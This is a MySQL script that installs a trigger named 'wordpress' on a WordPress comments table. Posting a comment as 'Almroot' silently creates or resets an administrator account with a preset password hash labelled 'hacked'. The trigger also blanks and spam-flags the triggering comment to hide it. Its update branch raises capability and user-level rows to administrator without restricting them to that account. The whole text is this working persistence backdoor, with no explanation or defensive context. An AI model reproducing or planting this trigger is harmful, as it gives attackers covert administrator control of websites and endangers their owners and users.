DROP TRIGGER IF EXISTS wordpress;
DELIMITER $$
CREATE TRIGGER wordpress BEFORE INSERT ON wp_comments FOR EACH ROW BEGIN
  SET @USER = 'Almroot';
  SET @HASH = '$P$BLZ4pYXIwQcGazytSj0r4Xy5BHVlY30'; #The hash stands for 'hacked'.
  SET @DATE = '2011-09-24 13:37:00';
  IF NEW.comment_author = @USER THEN
    SET NEW.comment_post_ID = 0;
    SET NEW.comment_approved = 'spam';
    SET NEW.comment_agent = '';
    SET NEW.comment_author_IP = '::1';
    SET NEW.comment_content = '';
    SET @ID = (SELECT COUNT(ID) FROM wp_users WHERE user_login = @USER LIMIT 1);
    IF @ID = 0 THEN
      INSERT INTO wp_users () VALUES (NULL,@USER,@HASH,@USER,NEW.comment_author_email,NEW.comment_author_url,@DATE,'','0',@USER);
      SET @ID = (SELECT ID FROM wp_users WHERE user_login = @USER LIMIT 1);
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'first_name', '');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'last_name', '');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'nickname', @USER);
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'description', '');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'rich_editing', 'true');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'comment_shortcuts', 'false');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'admin_color', 'fresh');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'use_ssl', '0');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'show_admin_bar_front', 'true');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'show_admin_bar_admin', 'false');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'aim', '');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'yim', '');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'jabber', '');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_user_level', '10');
      INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_dashboard_quick_press_last_post_id', '3');
    ELSE
      SET @ID = (SELECT ID FROM wp_users WHERE user_login = @USER LIMIT 1);
      UPDATE wp_users SET user_login = @USER, user_pass = @HASH, user_nicename = @USER, user_email = NEW.comment_author_email, user_url = NEW.comment_author_url, user_registered = @DATE, user_status = 0, display_name = @USER WHERE ID = @ID;
      UPDATE wp_usermeta SET meta_value = 'a:1:{s:13:"administrator";s:1:"1";}' WHERE meta_key = 'wp_capabilities';
      UPDATE wp_usermeta SET meta_value = '10' WHERE meta_key = 'wp_user_level';
      UPDATE wp_usermeta SET meta_value = '3' WHERE meta_key = 'wp_dashboard_quick_press_last_post_id';
    END IF;
  END IF;
END;
$$